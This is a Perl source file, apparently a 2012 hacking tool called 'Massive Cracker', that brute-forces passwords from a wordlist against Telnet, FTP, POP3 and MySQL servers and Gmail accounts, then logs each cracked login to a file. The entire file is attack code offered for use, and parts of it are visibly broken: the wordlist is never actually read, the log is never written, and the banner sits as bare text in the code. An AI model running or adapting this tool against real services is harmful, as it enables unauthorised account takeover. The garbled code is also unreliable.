#!usr/bin/perl
#Massive Cracker 0.4
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;
head();
chomp( my $op = <stdin> );
if ( $op eq "1" ) {
my ( $host, $user, $word, $time ) = form1();
my @words = openwordlist( $word, "Telnet" );
for my $pass (@words) {
$telnet = new Net::Telnet( Errmode => "return" );
$telnet->open($host);
if ( $telnet->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "Telnet" );
}
$telnet->close;
}
print "\n[-] Password Not Found\n";
}
elsif ( $op eq "2" ) {
my ( $host, $user, $word, $time ) = form1();
my @words = openwordlist( $word, "FTP" );
for my $pass (@words) {
$ftp = Net::FTP->new($host);
if ( $ftp->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "FTP" );
}
$ftp->quit;
}
print "\n[-] Password Not Found\n";
}
elsif ( $op eq "3" ) {
my ( $host, $user, $word, $time ) = form1();
my @words = openwordlist( $word, "POP3" );
for my $pass (@words) {
$pop = Net::POP3->new($host);
if ( $pop->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "POP3" );
}
$pop->quit();
}
print "\n[-] Password Not Found\n";
}
elsif ( $op eq "4" ) {
my ( $host, $user, $word, $time ) = form1();
my @words = openwordlist( $word, "Mysql" );
$target = "dbi:mysql::" . $host . ":3306";
for my $pass (@words) {
if ( my $now =
DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
{
yeah( $host, $user, $pass, "Mysql" );
}
}
print "\n[-] Password Not Found\n";
}
elsif ( $op eq "5" ) {
my ( $user, $word, $time ) = form2();
my @words = openwordlist( $word, "Gmail" );
for my $pass (@words) {
my $so = IO::Socket::SSL->new(
PeerAddr => "pop.gmail.com",
PeerPort => 995,
Proto => "tcp"
);
my $nave = Mail::POP3Client->new();
$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);
if ( $nave->Connect() ) {
yeahmail( "Gmail", $user, $pass );
}
$so->close();
$nave->close();
}
print "\n[-] Password Not Found\n"; }
else {
print "\n\n[+] Bad Option\n"; }
copyright();
sub yeah {
print "\a\a\n[+] Cracked\n\n"; print "[+] Host : $_[0]\n"; print "[+] Username: $_[1]\n"; print "[+] Password : $_[2]\n";
savefile( "cracked-logs.txt",
$_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
copyright();
}
sub yeahmail {
print "\a\a\n[+] Cracked\n\n"; print "[+] Account Type : $_[0]\n"; print "[+] Username : $_[1]\n"; print "[+] Password : $_[2]\n";
savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
copyright();
}
sub openwordlist {
my ( $file, $tipo ) = @_;
print "\n[+] Opening file\n\n";
unless ( -f $file ) {
print "\n[-] File not found\n"; copyright();
}
my @words = <FILE>;
print "[+] Words Found : " . int(@words) . "\n\n"; print "[+] Cracking service $tipo\n\n";
}
sub savefile {
open( SAVE
, ">>" . $_[0] ); }
sub form1 {
chomp( my $host = <stdin> ); chomp( my $user = <stdin> ); print "\n[+] Wordlist : "; chomp( my $word = <stdin> ); print "\n[+] Timeout : "; chomp( my $time = <stdin> );
return ( $host, $user, $word, $time );
}
sub form2 {
chomp( my $email = <stdin> ); print "\n[+] Wordlist : "; chomp( my $word = <stdin> ); print "\n[+] Timeout : "; chomp( my $time = <stdin> ); return ( $email, $word, $time );
}
sub head {
@ @ @@@@ @
@ @ @ @ @
@@ @@ @ @
@@ @@ @@@ @@ @@ @ @ @ @@@ @ @@ @@@ @@@ @ @ @@@ @@
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @@@@ @ @ @ @ @ @@@@@ @ @ @@@@ @ @@ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @@@@ @@ @@ @ @ @@@ @@@@ @ @@@@ @@@ @ @ @@@ @
Coded By Doddy H
[++] Services
[1] : Telnet
[2] : FTP
[3] : POP3
[4] : Mysql
[5] : Gmail
);
}
sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n"; <stdin>;
}
#The End ?